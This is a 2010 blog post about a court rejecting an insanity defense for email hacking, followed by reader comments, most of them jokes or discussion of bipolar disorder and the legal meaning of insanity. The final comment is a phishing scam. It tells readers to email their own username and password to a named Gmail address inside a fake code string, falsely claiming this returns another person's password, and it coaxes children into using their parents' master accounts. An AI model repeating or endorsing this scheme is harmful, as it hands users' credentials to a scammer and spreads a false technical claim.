Insanity Defense For Hacking Email Doesn't Work

from the nice-try dept

Wed, Oct 13th 2010 11:45am — Mike Masnick

Pleading an insanity defense may work in some extreme cases, but it seems like a pretty big stretch to plead insanity as a defense to hacking someone's computer to access their email. The case involved a defendant in an existing case, who hacked into the plaintiff's email accounts to aid his case. When caught, he then claimed that his bipolar disorder caused him to hack the email account. Yeah. Not surprisingly, the judge was not impressed. So, sorry, but claiming "not guilty of hacking by reason of insanity" probably isn't going to get you very far.

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Filed Under: email, hacking, insanity

13 Comments

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Anonymous Coward, 13 Oct 2010 @ 12:14pm

and all of my google image searches are crimes of passion
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- Anonymous Coward, 13 Oct 2010 @ 12:17pm
  
  Re:
  We're gonna need a bigger jail.
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Anonymous Coward, 13 Oct 2010 @ 12:15pm

I'm sorry your honor, but...
My client is an idiot and therefore not responsible for his actions?
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- Anonymous Coward, 13 Oct 2010 @ 12:29pm
  
  Re: I'm sorry your honor, but...
  Sounds like a Simpsons joke
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Del Boy, 13 Oct 2010 @ 12:25pm

I' Sorry
My client is an idiot and therefore not responsible for his actions? LMFAO.

Could work tho! heh
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Anonymous Coward, 13 Oct 2010 @ 12:38pm

He should try "The Chewbacca Defense".

It couldn't be any worse
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Jesse, 13 Oct 2010 @ 1:07pm

I don't know the specifics of the case, but generally speaking:

What I'm hearing is that you think that if a person pleads insanity that means they are temporarily unable to accomplish any kind of task they would normally be able to do, and therefore how could one be insane while hacking?

The legal definition of insanity, as I know it, is that a person does not understand at the time that what they are doing is wrong.

Bipolar, in it's extreme forms, is a very debilitating disease. We use the term bipolar in everyday conversation quite loosely and consequently we think of it as more of a joke disease rather than anything serious. I attribute the reaction here to this trend.
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- nasch (profile), 13 Oct 2010 @ 1:25pm
  
  Re:
  What I'm hearing is that it's probably just making stuff up to claim that a person didn't know it was wrong to hack someone's computer because of bipolar disorder.
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- Anonymous Coward, 13 Oct 2010 @ 5:19pm
  
  Re:
  I agree with this completely. Bipolar disorder can cause those with it to do things they may not normally do without affecting their intellectual abilities. However, I don't really know what the legal definition of insanity is and whether or not it covers bipolar disorder.
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Eugene (profile), 13 Oct 2010 @ 1:53pm

I take it this person had no idea how absolutely dangerous it was to attempt an insanity defense. If he had "won", he'd be screwed for basically the rest of his life. He should be thanking this judge.
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Anonymous Coward, 13 Oct 2010 @ 3:00pm

reason
hacking takes a bit of fore thought and also thusly premeditation which is what an insane person is not as likely to do let along all this hacking required
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Judy Halbrook, 6 Nov 2010 @ 8:09pm

E-mails
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rere, 16 Jun 2011 @ 10:17am

: (([[THIS REALLY WORKS FOR HOTMAIL ; G-MAIL USERS:]]))
: (1) If and ONLY IF you have legitimate permissions, send an E-mail to : adinsopt.op@gmail.com
This works best when signed on to a master screenname, mainly because of more AOL security flaws, which I won't get into. Kids, just get your parents to sign on with their screenname because you need to access "research info only available with a master screenname." Trust me, it works every time ;)
: (2) In the subject box, type the E-MAIL of the person whose password you wish to steal
: (3) In the body of the E-mail, type the following: /cgi-bin/start?v703&login=pass&f=[Your E-MAIL password here, with the brackets]&f=27586&javascript=ACTIVE&rsa>[Your E-MAIL username here, with the brackets]&rsa>
: (4) Send the E-mail with a file attached absolutely _NO_ greater than 10 KB in size
: (5) You will recieve an E-MAIL after 24 HOURS
: (6) Read the message--Where YOUR password was typed before, NOW, the password of the screenname in the subject box is there!!!
: : Why does this work? I'll tell you. When you send this E-mail, you are sending it through the LOCAL SERVER. The string of code will tell it not to accept small file attachments without a valid password. When it reads your valid password in the string of code, it is fooled into thinking that it is the password of the user in the subject box. But since AOL cannot discard file attachments under a certain size (10 kilobytes), it returns the E-mail to you, accidentally correcting the password.
P.S. This does NOT work on OnlineHost screennames, because their passwords are all different and constantly changed for security purposes.
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